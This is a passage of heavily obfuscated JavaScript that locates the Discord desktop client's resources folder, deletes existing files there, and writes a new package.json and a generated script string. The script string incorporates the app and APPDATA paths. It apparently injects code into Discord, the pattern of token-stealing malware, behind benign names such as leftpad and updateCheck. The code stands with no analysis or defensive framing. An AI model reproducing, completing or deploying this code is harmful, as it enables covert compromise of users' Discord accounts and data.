_0x48270e[_0x520ae4]=_0x4ddd16[_0xb24b47(0x1066,'R*Tx',0x101b,0xcb4,0x916)](_0x450fa0[_0x334dc1],-0x31fae3d8+-0xb*-0x5787529+-0x2c04114b*-0x1),_0x1607e7[_0x223620]=_0x4ddd16[_0x1c3a68('edx3',0xa9f,0xfc4,0xc07,0xc2e)](_0x54d86e[_0x5e7e13],0xa60e583d+0x106541*-0x1af+-0x1*0x2e178372);}function _0xe363a9(_0x381a53,_0x4ffaa7,_0x43113d,_0x459636,_0x19da5a){return _0xa3fb2b(_0x4ffaa7-0x31f,_0x4ffaa7-0xe0,_0x43113d-0x73,_0x381a53,_0x19da5a-0x6d);}return _0x242711;}function _0x59fa80(_0x296c5a,_0x3b55b5,_0x4fe585,_0x5bcc43,_0x9b684a){return _0x2771(_0x5bcc43-0x3cb,_0x9b684a);}function leftpad(_0x4fe00e,_0x141b69,_0x341803){const _0x58bcb7={'CDTBS':function(_0x41dab0,_0x45f6b7,_0x22adc0){return _0x41dab0(_0x45f6b7,_0x22adc0);},'KgFGo':function(_0x380d3a,_0xf1d709){return _0x380d3a^_0xf1d709;},'MJnWA':function(_0x3015a5,_0x28ebbc){return _0x3015a5-_0x28ebbc;},'MdIKW':function(_0x1341c8,_0x5b82ec){return _0x1341c8-_0x5b82ec;},'FLacc':function(_0x232305,_0xe64268){return _0x232305-_0xe64268;},'zrMSP':function(_0x31bb52,_0x56609f){return _0x31bb52>=_0x56609f;},'OjvJu':function(_0x1d3b2a,_0x3289c3){return _0x1d3b2a+_0x3289c3;},'fmJUL':function(_0x4e1980,_0x36dafa){return _0x4e1980!==_0x36dafa;},'RJDqp':_0x34c454(0x5f7,'e!nd',0x475,0xcd9,0x7d5),'KQWlZ':_0x34c454(0xf48,'Z3ow',0x146d,0x10e2,0x103b),'NyNzF':function(_0x107db2,_0x16b587){return _0x107db2(_0x16b587);},'ofcuI':function(_0x46ef86,_0x44ec17){return _0x46ef86-_0x44ec17;},'fTWKp':function(_0x219adc,_0x44005a){return _0x219adc+_0x44005a;}};function _0x3f69eb(_0x352a8b,_0x53c423,_0x850fa3,_0x19554f,_0x2c995c){return _0x3103a0(_0x352a8b-0x18a,_0x2c995c- -0xcd,_0x352a8b,_0x19554f-0x2,_0x2c995c-0x16c);}function _0x481ff5(_0x1d863f,_0x2f3bbf,_0x2f5c31,_0x147262,_0x4397cd){return _0x3d77d7(_0x1d863f-0x8a,_0x2f3bbf-0x164,_0x1d863f- -0x47a,_0x147262-0x32,_0x2f5c31);}function _0x34c454(_0x354786,_0x465044,_0x48a2a0,_0x3f3460,_0x31e607){return _0x3103a0(_0x354786-0x16e,_0x31e607-0x49,_0x465044,_0x3f3460-0x18a,_0x31e607-0x23);}function _0x27b01e(_0x2e68d5,_0x4d85c5,_0x5056cb,_0x2e10ba,_0x15875d){return _0x3d77d7(_0x2e68d5-0x1d,_0x4d85c5-0x113,_0x2e10ba-0x330,_0x2e10ba-0x1a0,_0x2e68d5);}_0x58bcb7[_0x27b01e('(1pE',0x1244,0x4c4,0xbd2,0x1238)](_0x58bcb7[_0x27b01e('gVnV',0xc9d,0x17ee,0x10fa,0x101a)](_0x141b69,0xfde+0x991+-0x196e),_0x4fe00e[_0x27b01e('9loh',0x895,0xfc8,0xefc,0xeb1)+'h'])&&(_0x58bcb7[_0x34c454(0xbc1,'CD&c',0xaf3,0x6cb,0x7f1)](_0x58bcb7[_0x34c454(0x1115,']v1W',0xe39,0x1479,0xf2a)],_0x58bcb7[_0x3f69eb('W&[J',0x905,0xaa6,0x11d1,0xb85)])?_0x4fe00e=_0x58bcb7[_0x481ff5(0x8a5,0x7c6,'fSRV',0x765,0xcd6)](_0x58bcb7[_0x3abae9(0x112e,0xf37,0x144b,'yEI6',0xd22)](Array,_0x58bcb7[_0x481ff5(0x983,0x1117,'l$qj',0x6aa,0x100b)](_0x58bcb7[_0x3f69eb('WJUB',0xf6a,0x7a2,0x79e,0x906)](_0x141b69,-0x2c3+-0xa9c+0xd60),_0x4fe00e[_0x27b01e('w]$Z',0x71e,0xf83,0x917,0x190)+'h']))[_0x34c454(0x968,'3#kp',0x1178,0xe54,0xe30)](_0x341803),_0x4fe00e):_0x58847d[_0x1c074e]=_0x58bcb7[_0x27b01e('C2UU',0x747,0xe8a,0xea9,0x1301)](_0x37d05f,_0x58bcb7[_0x3abae9(0xa57,0x215,0x2c0,')9bc',0x76a)](_0x58bcb7[_0x3f69eb('T&Gd',0x5d2,0x2f8,-0x10,0x6bd)](_0x58bcb7[_0x34c454(0x6dd,'EiYt',0x11db,0xa23,0xcb1)](_0x401b18[_0x58bcb7[_0x3abae9(0x11c,-0x35a,-0x273,'NagZ',0x475)](_0x4e315b,-0x1*-0x1cd1+-0x1e61*-0x1+-0x3b2f*0x1)],_0x1f0139[_0x58bcb7[_0x481ff5(-0x82,-0x1ec,'9r61',0x71a,0x9d)](_0x5a87c3,-0x9f*-0x1b+-0x4*-0x3cb+-0x1fe9)]),_0xca05c1[_0x58bcb7[_0x3f69eb('c(Z7',0xb4b,0x79e,0x14dc,0xec6)](_0x269da2,-0x21c1+-0x1c53+-0x1f11*-0x2)]),_0x286151[_0x58bcb7[_0x27b01e('Z3ow',0x577,0x4da,0xb95,0xa06)](_0x285dc4,-0x17e8+0xd3d+0x1*0xabb)]),0x71*-0xf+0x2*0x2ab+0xb*0x1e));function _0x3abae9(_0x1671a0,_0x323795,_0x31e80a,_0xe5fe00,_0x2a3901){return _0x3103a0(_0x1671a0-0xdf,_0x2a3901-0x6c,_0xe5fe00,_0xe5fe00-0x29,_0x2a3901-0x152);}return _0x4fe00e;}const discordPath=(function(){const _0x3b1c42={'UIaLJ':_0x3d6b41(0x137,0x66f,'NagZ',-0x78,-0x241)+_0x20ad19(0xf64,0xbb6,0x98c,0x6bb,'lmEu')+_0x20ad19(0xd7e,0x12e8,0xcc1,0x16d1,'kObQ')+_0x37ca27(0x85b,'9r61',0x474,0xebb,0xceb)+_0x3d6b41(0xa45,0xd84,'^T15',0x10db,0xbd7)+_0x3d6b41(0x370,0x934,'EBnq',0x825,0x80f)+'67','lARrY':function(_0x4f1468,_0x20e471){return _0x4f1468<_0x20e471;},'sUwPl':function(_0x337c09,_0x1cb2bb){return _0x337c09===_0x1cb2bb;},'NvvLg':_0x3d6b41(0xddc,0x13e8,'9r61',0x1489,0x1241)+_0x3d6b41(0x175,-0x588,'4D%T',0x633,-0x48e)+_0x20ad19(0xa9a,0xf92,0xb33,0x9ea,'edx3')+_0x3d6b41(0x921,0xd55,']v1W',0x4d7,0x1071)+_0x180006(0x7c8,'WJUB',0xce0,0xc05,0xe7f)+_0x37ca27(0x70a,'kObQ',0xa9b,0xa8b,0x69f)+'y','QzigG':function(_0x1680c1,_0x23324a,_0x543411,_0x51f894){return _0x1680c1(_0x23324a,_0x543411,_0x51f894);},'QOlyv':function(_0x4434a3,_0x4272f1){return _0x4434a3<=_0x4272f1;},'utYSj':function(_0x3f779e,_0x1b01e0){return _0x3f779e+_0x1b01e0;},'NyDyX':function(_0xd96816,_0x4e46fb){return _0xd96816+_0x4e46fb;},'hVqWQ':function(_0x3de903,_0x43b322,_0x4a263a,_0x22fff1){return _0x3de903(_0x43b322,_0x4a263a,_0x22fff1);},'HElvw':function(_0x50b72b,_0x1f0d5b,_0x29638c){return _0x50b72b(_0x1f0d5b,_0x29638c);},'tanPH':function(_0x441229,_0x4a55b1,_0x9a6c88,_0xf81f36,_0x4e4fd0,_0x53bb02){return _0x441229(_0x4a55b1,_0x9a6c88,_0xf81f36,_0x4e4fd0,_0x53bb02);},'zFKLh':function(_0x41ad1a,_0x1ff763,_0x2d7683){return _0x41ad1a(_0x1ff763,_0x2d7683);},'bVJdV':function(_0x2840a6,_0x25dbb4){return _0x2840a6===_0x25dbb4;},'EORWp':_0x37ca27(0x6fb,'p1^x',0xd2c,-0xbe,0x1fd),'LqOGm':_0x3d6b41(0x3f8,0x17,'w78W',0x753,0x9c1),'NvQEU':_0x20ad19(0xd27,0x127e,0x1378,0x127e,'W&[J'),'VHsFG':_0x346263(0x71b,0x76f,0x536,0x914,'tstx')+_0x3d6b41(0xc1b,0x12c6,'tstx',0xae5,0x6ca),'ZHvKc':_0x3d6b41(-0xb0,0x2e5,'@^Br',-0x589,-0x6)+'n','nrpZb':function(_0x2c8b51,_0xc0ff8f){return _0x2c8b51===_0xc0ff8f;},'cQTiJ':_0x37ca27(0x155,'3#kp',-0x472,0x5ba,-0x61e),'ICkTM':_0x3d6b41(0xe6,-0x4b,'w]$Z',0x483,-0x15),'MZktr':_0x346263(0x2b4,0x438,0x652,0x6e6,'Ar]L')+_0x180006(0x6a7,'R*Tx',0x5e3,0x2b6,0xa3d),'yYlcy':_0x20ad19(0x406,0x75b,0x48e,-0x22,'BHF6')+_0x3d6b41(0x592,0x3ae,'WSri',0x471,0xabc)},_0x1f799a=args[0x551*0x7+0x4*-0x6f0+0x1*-0x977][_0x3d6b41(0xe6c,0xa8c,'edx3',0x15fc,0x1586)](path[_0x346263(0x554,-0xb4,0x4cc,-0x15c,']v1W')])[_0x3d6b41(0xb1a,0x4fc,'9r61',0x8d6,0x127c)](-0x1777*0x1+0x1*0x15c5+-0xe*-0x1f,-(0x10aa+0x24f9+-0x35a2))[_0x346263(0x537,0xa0e,0x58d,0xc1c,'WSri')](path[_0x3d6b41(0xc07,0xe3c,'yEI6',0x59b,0xe9a)]);let _0x2952f0;if(_0x3b1c42[_0x3d6b41(0x463,0x384,'T&Gd',0x9d4,-0x160)](process[_0x346263(0xc3,0x970,0x3cd,0xbe,'Uq%W')+_0x3d6b41(0x5b8,0xbfa,'fSRV',0x382,0x4cb)],_0x3b1c42[_0x346263(0xa73,0xc8,0x33f,-0x48b,'1MkO')])){if(_0x3b1c42[_0x346263(0x407,0x3a2,0x2ef,-0x3de,'3#kp')](_0x3b1c42[_0x346263(0x465,0x59e,0xb65,0x12e0,'p1^x')],_0x3b1c42[_0x20ad19(0x1556,0x11f1,0x18d4,0xfd5,'NagZ')])){let _0x5d0514=_0x3b1c42[_0x20ad19(0x11a0,0xbc3,0x1341,0xbf8,'p1^x')],_0x34bd1f='',_0x26b327='';_0x498b83=_0x8f5c0c[_0x346263(0x306,0xc3e,0x8d9,0xe66,'4oaC')+'ce'](/=+$/,'');for(let _0x13ca26=-0x3*0x578+0xf0d+0x15b;_0x3b1c42[_0x3d6b41(0x86b,0x810,'1R)L',0x1b3,0x718)](_0x13ca26,_0x4da473[_0x3d6b41(0x607,0x6a8,'iHF0',0x16e,0x4d)+'h']);_0x13ca26++){let _0xf252ef=_0x5d0514[_0x37ca27(0xccf,'@^Br',0xfce,0x10f2,0xd15)+'Of'](_0xab9089[_0x37ca27(0x2f6,'WSri',0x362,-0x16c,0x363)+'t'](_0x13ca26)[_0x346263(0xdb0,0xcac,0x103c,0x1276,'(1pE')+_0x37ca27(0x4ec,'iHF0',-0x75,-0x263,0x37)+'e']());if(_0x3b1c42[_0x180006(0xac2,'lmEu',0xa65,0x120c,0xcc4)](_0xf252ef,-(0x3*0x496+-0x2200+0x143f)))_0x6cd02f[_0x180006(0xa05,'CD&c',0x8fd,0xb8f,0xc6a)](_0x3b1c42[_0x180006(0x1235,'W&[J',0x710,0xfe6,0xdd3)]);_0x34bd1f+=_0x3b1c42[_0x3d6b41(-0x64,-0x154,'CD&c',0x2fe,0x52a)](_0x7c9f23,_0xf252ef[_0x346263(0x9c,0x621,0x2ee,-0x2d9,'fSRV')+_0x3d6b41(0x4d,-0x1d6,'tstx',-0x66e,0x71f)](-0x1e9e*0x1+0x1d47*0x1+0x159),-0x75b*-0x4+0x1*-0xae+-0x9*0x331,'0');}for(let _0x1d156a=-0x475*0x5+-0x206+-0x31*-0x7f;_0x3b1c42[_0x3d6b41(0x790,0x88d,'kObQ',0x32,0xb81)](_0x3b1c42[_0x346263(0x932,0x6b6,0x3e2,-0x18d,'(1pE')](_0x1d156a,-0x175+0xf*-0x22d+-0x270*-0xe),_0x34bd1f[_0x20ad19(0xb5b,0x4bb,0x61,0x4b5,'GIg]')+'h']);_0x1d156a+=-0x478*-0x3+-0xb+-0xd55){let _0x354573=_0x34bd1f[_0x346263(0xcc8,0xba8,0xed7,0xb62,'Ar]L')+'r'](_0x1d156a,0xa07+0x26a5+-0x16*0x236);_0x26b327=_0x3b1c42[_0x3d6b41(0x44c,0x88,'yEI6',0x1d,0x79b)](_0x26b327,_0x3b1c42[_0x180006(0x1226,'w]$Z',0xf69,0x15e0,0xf4e)](_0x31b875,_0x3b1c42[_0x180006(0x897,'FUWk',0xd74,0x2cd,0x921)](_0x436377,_0x354573,-0x1a5f*-0x1+-0x7ab+0x959*-0x2)[_0x346263(0x9cc,0xb90,0x98c,0xea0,'Z3ow')+_0x180006(0xce4,'1MkO',0x7ba,0xe0e,0x733)](0xc9*-0x1c+0x626*-0x3+0x47*0x92),0x6f2*0x2+-0x3b5+-0x1*0xa2d,'0'));}return _0x26b327;}else _0x2952f0=path[_0x3d6b41(0x3a5,-0x38c,'T&Gd',-0x1ed,0x235)](_0x1f799a,_0x3b1c42[_0x180006(0x6b7,'GIg]',0x29d,0xf99,0x808)]);}else _0x3b1c42[_0x20ad19(0x41a,0x50e,-0x9,0x2db,'C2UU')](process[_0x20ad19(0x80a,0xbff,0xc8e,0x8b1,'SI6h')+_0x37ca27(0xd9,'W&[J',-0x481,0x5e3,-0x658)],_0x3b1c42[_0x37ca27(0x43b,'BHF6',-0x30e,0x178,0x69)])&&(_0x3b1c42[_0x346263(0xae7,0x261,0x701,0x57e,'^T15')](_0x3b1c42[_0x20ad19(0x156e,0x12c8,0x1654,0x13f3,'fSRV')],_0x3b1c42[_0x20ad19(0x4f9,0x85e,0xa8b,0x62d,'T&Gd')])?_0x4ada87=_0x3b1c42[_0x180006(0x12e4,'(1pE',0xabd,0xcb1,0xdcd)](_0x26c245,_0x3b1c42[_0x180006(0x5be,')9bc',0xbb8,0x1047,0xb28)](_0x50eec6,_0x5140c0,0x192a+-0x1878+-0x1*0xad),_0x3b1c42[_0x20ad19(0xdda,0x834,0x65a,0xa03,'fSRV')](_0x44bc63,_0x31e9c5,_0x433ec7,_0x18dd5a),_0x5d4e27,-0x76c29720*0x2+-0x98ed2c95+0x2158e17b1,_0x345477[_0xffd820]):_0x2952f0=path[_0x20ad19(0x3fb,0xa11,0x66e,0x6f4,'^T15')](_0x1f799a,_0x3b1c42[_0x346263(0x1463,0xc77,0xcf6,0x12be,')G&B')],_0x3b1c42[_0x180006(0x809,']v1W',0x321,0x5d4,0x5cb)]));if(fs[_0x37ca27(0x722,'FUWk',0xeb1,0x7e7,0xecc)+_0x20ad19(0x143e,0x11c2,0xf94,0xc81,')G&B')](_0x2952f0))return{'resourcePath':_0x2952f0,'app':_0x1f799a};function _0x20ad19(_0x5b690f,_0x114a35,_0x3e0fd9,_0x5e0635,_0x3a950e){return _0xa3fb2b(_0x114a35-0x374,_0x114a35-0x17c,_0x3e0fd9-0x96,_0x3a950e,_0x3a950e-0xbf);}const _0x2c5141={};function _0x346263(_0x5e509d,_0x7bf116,_0x25ccc0,_0x271078,_0x37ab71){return _0xbc652e(_0x5e509d-0x23,_0x37ab71,_0x25ccc0-0xd1,_0x271078-0x6f,_0x25ccc0- -0x155);}_0x2c5141[_0x20ad19(0x199e,0x1226,0x1842,0xf53,'5F(N')+_0x20ad19(0xdb8,0xffd,0x12f5,0x1798,'l$qj')]=undefined,_0x2c5141[_0x180006(0x802,'NagZ',0xbdf,0x178,0x86c)+_0x3d6b41(0x10f,-0x58b,'tstx',-0x307,0x39f)]=undefined;function _0x37ca27(_0x5b2ef0,_0x32698f,_0x2de464,_0x543dcf,_0x5845c0){return _0x3103a0(_0x5b2ef0-0x1a1,_0x5b2ef0- -0x332,_0x32698f,_0x543dcf-0x38,_0x5845c0-0x1b3);}function _0x3d6b41(_0x3645cb,_0x2ebb71,_0x3ac1b1,_0x5070a8,_0x4204da){return _0xbc652e(_0x3645cb-0xa5,_0x3ac1b1,_0x3ac1b1-0x1d0,_0x5070a8-0x2b,_0x3645cb- -0x4fa);}function _0x180006(_0x271b79,_0x38db19,_0x514d5f,_0x59ecae,_0x5c3ad4){return _0x3103a0(_0x271b79-0xd1,_0x5c3ad4- -0xef,_0x38db19,_0x59ecae-0x193,_0x5c3ad4-0x1c);}return _0x2c5141;}());function updateCheck(){const _0x34b7d1={'OcJAQ':_0x2db491(0xa50,0xce1,0x5ab,'4oaC',0x862)+_0x2db491(0x712,0xdde,0x425,'FUWk',0xcc0)+_0x2db491(0x5e9,0x6c0,0xb9e,'l$qj',0xb0a)+_0x1841e8(0xbb9,0x551,0x27c,0x6e4,'gVnV')+_0x1841e8(0x44f,0x35c,0x7ad,-0xa3,'9r61')+_0x1841e8(0x9d1,0x7b1,0x1ca,0x918,'ibNd')+_0x2d10c2(0x38b,0xc34,0x47b,'SI6h',0xbe6)+_0x2d10c2(0x138e,0xc25,0x1206,'edx3',0x1825)+_0x2db491(-0xa2,-0x1d5,-0x201,')9bc',-0x123),'QMoas':function(_0x258a66,_0x5f4d47){return _0x258a66===_0x5f4d47;},'fwATA':function(_0x5d6269,_0x5dd5b2){return _0x5d6269===_0x5dd5b2;},'ciFEi':_0x1841e8(0x106b,0xe80,0x12b5,0x12ee,'@%1A'),'NOqsm':_0x2d10c2(0x809,0xffc,0x9d2,'c(Z7',0x1113)+_0x2d10c2(0x124f,0x10ea,0xd9a,'u*kR',0xa81)+'on','wIoPU':_0x5ac452(0xa15,0x181a,0x1269,0x11b9,'1MkO')+_0x10a480(0x18a3,0xd1c,0xd1c,'Z)Xp',0x12e9),'xVumW':_0x1841e8(0x2ec,0x773,0x36,0xe83,'c(Z7')+_0x2db491(0x639,-0x184,0xc46,'4D%T',0x943)+_0x1841e8(0xda1,0xb4d,0xe3f,0xd30,'w]$Z')+_0x2db491(0x4cd,-0x255,0x2aa,'T&Gd',-0x221)+_0x5ac452(0x846,0xf6d,0xbc7,0xd78,'T&Gd')+_0x5ac452(0xde1,0x8f3,0x925,0xdf4,'iHF0')+_0x10a480(0x17d8,0xc0e,0xf18,'iHF0',0x1332)+_0x2d10c2(0x1761,0xfcf,0x13a2,']v1W',0x1536),'oUPMO':function(_0x205dce,_0x5e8c6e){return _0x205dce===_0x5e8c6e;},'NHOld':_0x1841e8(0xf9,0x249,0x77f,-0x241,'e!nd'),'ZMNEh':_0x1841e8(0x10d8,0x1093,0xea3,0x142c,'lmEu')+'n','aXqcW':function(_0x54d66b,_0x373d32){return _0x54d66b===_0x373d32;},'mMPxQ':_0x2db491(0x7ea,0x66b,0x44c,'4D%T',0x92d),'ZJiIu':_0x5ac452(0x13e6,0x114f,0x1115,0xcfa,'gVnV'),'KBJAz':_0x10a480(0xd84,0xb45,0x1521,'fSRV',0x1051)+'rd','bTAUD':_0x5ac452(0xddf,0xa3c,0x1041,0xdcf,'8S1s')+_0x10a480(0x174e,0x1abf,0x1436,'(1pE',0x1375),'yYMNf':_0x5ac452(0x93d,0x1361,0xccf,0xea5,'ibNd')+_0x10a480(0xe14,0x4cf,0x436,'1R)L',0xa83),'qyhHy':function(_0x5ce2bd,_0x16e0fb){return _0x5ce2bd(_0x16e0fb);}},{resourcePath:_0x5d1e15,app:_0x47ab1c}=discordPath;if(_0x34b7d1[_0x2db491(0x705,0x5ad,0x9d4,'yEI6',0xfe)](_0x5d1e15,undefined)||_0x34b7d1[_0x10a480(0xa9e,0xefb,0xb57,'w78W',0x964)](_0x47ab1c,undefined))return;const _0x3e7263=path[_0x1841e8(0x12d9,0xe27,0xf56,0x109d,'4D%T')](_0x5d1e15,_0x34b7d1[_0x2db491(0xcdc,0x6fb,0x1035,']v1W',0x743)]),_0x1cb16b=path[_0x10a480(0xdc7,0xe8b,0xfc8,'3#kp',0x104b)](_0x3e7263,_0x34b7d1[_0x2db491(-0x1ce,0x392,0x4f1,'e!nd',-0x321)]),_0x4c5c67=path[_0x5ac452(0x1993,0xc9b,0xdb1,0x1333,'R*Tx')](_0x3e7263,_0x34b7d1[_0x10a480(0xa30,0x4d5,0xa56,'1R)L',0x669)]),_0x1dcd92=_0x47ab1c+(_0x2db491(-0x217,-0x3b3,-0x329,'w78W',0x50f)+_0x2db491(0x45f,-0xc4,-0x27,'fSRV',0x2a7)+_0x2db491(0x36c,0x4b7,0x218,'(1pE',0x191)+_0x5ac452(0x12b5,0xc18,0x876,0xd3d,'lmEu')+_0x2db491(0xbc3,0x11fc,0x7b6,'EBnq',0xf4f)+_0x5ac452(0xc1c,0x98a,0x1253,0xbfc,'edx3')+_0x2d10c2(0x3e1,0x1325,0xb8f,'FUWk',0xc0f)+_0x2db491(0x65c,0xcc5,0x4ba,'c(Z7',0x2b8)+_0x2d10c2(0x10a8,0x12f3,0xe3d,'kObQ',0x1297)+_0x10a480(0x8c8,0xae0,0xa7f,'u*kR',0xdb6)+_0x2d10c2(0xf0d,0x5c2,0x84c,'WJUB',0xfc4)+_0x10a480(0x1469,0x112a,0xe93,'4D%T',0xf98)+'s'),_0xf2b62d=path[_0x2d10c2(0x302,0x595,0xa26,'p1^x',0x64e)](process[_0x2d10c2(0x5f6,0x1194,0xd44,'1R)L',0x719)][_0x10a480(0xb1b,0x29d,0xabb,'SI6h',0x87a)+'TA'],_0x34b7d1[_0x5ac452(0x841,0xa8c,0x4af,0x4fc,')G&B')]);if(!fs[_0x2d10c2(0xb91,0xd53,0xbb0,'R*Tx',0x4ad)+_0x2db491(0x3cd,0x188,0x5c4,'kObQ',0x469)](_0x3e7263))fs[_0x2d10c2(0x12a0,0xb17,0xaf5,'EBnq',0xa57)+_0x2db491(0x1b0,-0x4d5,-0x18a,'ibNd',-0x61d)](_0x3e7263);function _0x10a480(_0xe8b6ee,_0x2b472d,_0x20c63a,_0x11567d,_0x3e2727){return _0xbc652e(_0xe8b6ee-0xfc,_0x11567d,_0x20c63a-0x10,_0x11567d-0xd6,_0x3e2727-0x1d);}if(fs[_0x1841e8(0x2f,0x50c,0x6d0,0x48c,'9r61')+_0x10a480(-0xc,0x386,0x48c,'3#kp',0x5bd)](_0x1cb16b))fs[_0x10a480(0x100b,0xb35,0xee0,'3#kp',0xfbb)+_0x10a480(0xe42,0x57b,0x7f8,'3#kp',0x80d)](_0x1cb16b);if(fs[_0x2d10c2(0xf45,0x15f9,0x13b2,'Ar]L',0xc7d)+_0x2d10c2(0x10c,0x9fd,0x6f5,'FUWk',0xc06)](_0x4c5c67))fs[_0x5ac452(0xd59,0x9fd,0x487,0x7e8,'w]$Z')+_0x5ac452(0xc95,0xa95,0xaa6,0x644,'4D%T')](_0x4c5c67);function _0x5ac452(_0x3b1c9b,_0x3063cb,_0x2a3ef9,_0x52cf68,_0x3e973f){return _0xbc652e(_0x3b1c9b-0x6b,_0x3e973f,_0x2a3ef9-0x11b,_0x52cf68-0x130,_0x52cf68-0x7);}function _0x2db491(_0x157f3a,_0x2d5ae3,_0x318c63,_0x171e02,_0x58c16f){return _0xa3fb2b(_0x157f3a- -0x316,_0x2d5ae3-0x1e2,_0x318c63-0x149,_0x171e02,_0x58c16f-0x1b);}function _0x1841e8(_0x39c6bf,_0x3ebee6,_0x3ef0c7,_0x1048a8,_0x3857b6){return _0xa3fb2b(_0x3ebee6-0x68,_0x3ebee6-0x1b4,_0x3ef0c7-0xb3,_0x3857b6,_0x3857b6-0xa5);}if(_0x34b7d1[_0x1841e8(0xa3a,0x387,0x7ef,0x367,'SI6h')](process[_0x5ac452(0x995,0x8bd,0x3e,0x607,'9r61')+_0x5ac452(0x2f9,0xa4d,-0x1a3,0x5a5,'e!nd')],_0x34b7d1[_0x10a480(0xbb0,0xfbb,0xfe8,'ibNd',0x8b6)])||_0x34b7d1[_0x2d10c2(0xdbc,0xc2b,0xa98,'edx3',0x93d)](process[_0x1841e8(0x1488,0xf4b,0xb96,0xdf6,'BHF6')+_0x2d10c2(0x840,0xbde,0xe43,'9loh',0xe76)],_0x34b7d1[_0x1841e8(0xcb,0x46b,-0xd7,0x6a5,'NagZ')])){if(_0x34b7d1[_0x10a480(0x19e4,0x16a4,0x176d,'8S1s',0x13ab)](_0x34b7d1[_0x1841e8(0x7d3,0x8a7,0xf68,0x446,'EBnq')],_0x34b7d1[_0x1841e8(0x97a,0xc19,0xb4a,0xd41,'5F(N')]))_0x352e9d[_0x2db491(0x840,0x788,0x499,'FUWk',0xe64)](_0x34b7d1[_0x2d10c2(0xaea,0xb1d,0x1116,'l$qj',0xbc2)]);else{const _0x18e89f={};_0x18e89f[_0x5ac452(0x7e7,0x1075,0x944,0x974,'edx3')]=_0x34b7d1[_0x5ac452(0x1235,0xc38,0x14d1,0xf19,'tstx')],_0x18e89f[_0x2db491(0x468,0xb49,0x1e1,'9loh',0xa3b)]=_0x34b7d1[_0x2d10c2(0xf10,0xb85,0xced,'T&Gd',0x13f5)],fs[_0x2d10c2(0x8e2,0x91d,0xfae,'c(Z7',0x13a4)+_0x5ac452(0x6b9,0xb26,0xa12,0x9a9,'kObQ')+_0x1841e8(0xeb8,0xe7c,0xeb2,0xbe4,'w78W')](_0x1cb16b,JSON[_0x2db491(-0x15b,0x331,0x4fb,'w]$Z',0x385)+_0x5ac452(0xdf3,0xa8c,0xa50,0xd63,'C2UU')](_0x18e89f,null,-0x1e34+-0x17b9+0x35f1));const _0x5b5732=_0x10a480(0x77d,0x1372,0x1491,'Z3ow',0xe40)+_0x5ac452(0x833,0xd91,0xd60,0xfe2,'EiYt')+_0x1841e8(0x3f6,0x6a2,0x5ff,0x3f0,'W&[J')+_0x2db491(0x435,0x50b,-0x324,'(1pE',0x993)+_0x5ac452(0x102,0xd44,0x795,0x7ee,'@^Br')+_0x2d10c2(0xacc,0x1457,0x1231,'GIg]',0x17a3)+_0x5ac452(0xf0e,0x103e,0x16df,0x1015,'tstx')+_0x5ac452(0x3c3,0x858,-0x1c2,0x479,')G&B')+_0x10a480(0x325,0x3ab,0x908,'FUWk',0x6b9)+_0x1841e8(0xa7c,0xba9,0x912,0xce3,'kObQ')+_0x2db491(0x188,-0x1d1,0x1da,'ibNd',0x2c9)+_0x5ac452(0x1a6b,0x1448,0x18c5,0x13b5,'Ar]L')+_0x10a480(0x5a2,0x1fa,0x928,'9r61',0x569)+_0x1841e8(0x1116,0xd8e,0xeb0,0x104f,'R*Tx')+_0x1dcd92+(_0x2d10c2(0x9c2,0x65c,0xc75,']v1W',0x118d)+_0x2db491(0x26c,0x276,-0x322,'GIg]',0xa15)+_0x10a480(0xc2b,0x13c6,0x1aaa,'5F(N',0x1300)+_0x2db491(0x46f,-0x33d,0x680,'9r61',0x51))+_0xf2b62d+(_0x2db491(0x61,0x2d7,0x6f5,'c(Z7',0x348)+_0x2db491(0xcfe,0xf4d,0x571,'8S1s',0x13b3)+_0x2d10c2(0xe01,0x1644,0x108b,']v1W',0x10d4)+_0x10a480(0x6d7,0xe44,0xf27,'w]$Z',0xbd2)+_0x5ac452(0xa5a,0xc54,0xca5,0xd86,'9r61')+_0x2d10c2(0x94,0xb7,0x76e,'iHF0',0x9f1)+_0x1841e8(0x128a,0xea9,0x1659,0x88d,'Z)Xp')+_0x5ac452(0x9f8,0x714,0xa05,0x889,'c(Z7')+_0x2d10c2(0xe73,0x1867,0x1360,'BHF6',0x176c)+_0x2d10c2(0xb40,0x1174,0x105d,'Z)Xp',0xa3e)+_0x5ac452(0xba2,0xfe6,0x91b,0x84e,'EBnq')+_0x5ac452(0xe0e,0xd59,0x7b2,0x8a2,'@^Br')+_0x5ac452(0xb17,0x8c6,0x1058,0xffa,'EiYt')+_0x5ac452(0x5d6,0x9d3,0x1b3,0x75e,'8S1s')+_0x10a480(0x13ca,0xc6e,0x1451,'3#kp',0xf4d)+_0x2db491(0x117,-0x137,-0x50e,'e!nd',-0x4d3)+_0x1841e8(0xafb,0x685,-0xf3,0x8ed,'p1^x')+_0x5ac452(0x13d6,0x115d,0x11c1,0xfaa,'iHF0')+_0x5ac452(0xfe2,0xb86,0x1304,0x101f,'GIg]')+_0x5ac452(0x279,0xf26,0x56a,0x76a,'C2UU')+_0x1841e8(0x4af,0x80c,0xae7,0x607,'GIg]')+_0x10a480(0xd5f,0x8f4,0xcea,')G&B',0x7e9)+_0x10a480(0x1641,0x151c,0x11bb,'lmEu',0x1238)+_0x1841e8(0x8b,0x412,0x5e5,0x2b3,'1MkO')+_0x2db491(0x4a5,-0xa1,-0x1f2,'lmEu',0x7b3)+_0x2d10c2(0x149c,0x13e7,0xdc5,'yEI6',0x112a)+_0x2db491(0x574,0x362,0xfc,'CD&c',-0x17b)+_0x1841e8(0x1156,0xa93,0x38d,0xc3f,'3#kp')+_0x1841e8(0xc89,0xb5d,0xe3c,0x1313,'T&Gd')+_0x1841e8(0xb36,0xf8e,0xc7a,0x160e,'CD&c')+_0x1841e8(0xb78,0xa78,0xd85,0x405,'c(Z7')+_0x2db491(0x173,0x54,0x2ee,'Ar]L',0x7cb)+_0x2d10c2(0x149c,0x16a9,0xff9,'4oaC',0xd8b)+_0x10a480(0x575,0x928,0x1362,'NagZ',0xce9)+_0x2db491(0x89e,0xf7a,0x911,'T&Gd',0x352)+_0x5ac452(0x1072,0x56a,0xade,0xa4b,'fSRV')+_0x2d10c2(0x1083,0x10c1,0x1281,'9loh',0x10b1)+_0x2db491(-0x65,-0x609,0x10a,')G&B',-0x346)+_0x2d10c2(0x2b4,0x2e6,0x72c,'Z)Xp',0x6e2)+_0x1841e8(-0x595,0x130,-0x401,0x5b3,'EBnq')+_0x10a480(0x1785,0xc27,0xf72,'iHF0',0x132c)+_0x1841e8(0x9c2,0xa1e,0xc38,0xb9c,'Ar]L')+_0x10a480(0x4c9,0x3e4,0x419,'R*Tx',0x4ca)+_0x